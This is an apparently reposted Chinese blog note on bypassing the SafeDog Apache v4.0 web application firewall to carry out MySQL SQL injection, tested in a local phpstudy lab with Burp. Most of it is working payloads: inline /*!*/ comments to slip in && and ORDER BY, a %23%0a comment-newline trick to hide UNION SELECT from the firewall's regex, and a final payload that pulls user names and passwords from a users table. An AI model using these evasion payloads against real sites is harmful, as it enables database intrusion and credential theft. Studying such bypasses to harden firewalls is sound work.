1. 程式人生 > >最新安全狗 apache v4.0 sql注入 bypass

最新安全狗 apache v4.0 sql注入 bypass

前言

最近沒事學習一下 wafbypass , 本文介紹下 bypass 安全狗的筆記。個人感覺 bypass 的總思路(正則匹配型 waf)就是利用各種語法特性來逃避正則(當然要保證語法正確性的前提下)

測試環境:

phpstudy  + 安全狗Apache版 V4.0、
burp + hackvertor 外掛

判斷注入

判斷字元型注入還是數字型

往數字後面加若干個字母,如果結果不變應該是字元型注入,因為 mysql 的弱型別會把 1xxxx 轉換成 1

引入邏輯表示式進行判斷

利用 Mysql 支援的 /*!*/ 語法引入 && 繞過過濾

1'/*!&&*/1#'

order by 獲取列數

還是利用 /*!*/ 語法來引入關鍵字, 然後利用 () 包裹數字繞過空格進而繞過正則。

1'/*!&&*/0/*!order*/by(2)#'

所以有 2 列。

繞過 union

%23%0a 繞過正則, 原因大概是 # 是註釋符號(只註釋一行 \n 截止), waf 認為後面的都是註釋不去匹配,而 mysql 支援使用 \n 代替空格,所以繞過了正則。

<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/1,@@HOSTNAME#'<@/urlencode_2>

拿密碼

使用 %23%0a ,繞過正則

<@urlencode_1>1'/*!&&*/0/*! union*//*!all*/<@/urlencode_1>%23%0a<@urlencode_2>/*! sElect*/user,password <@/urlencode_2>from%23%0a<@urlencode_3>users where user_id=1<@/urlencode_3>%23%27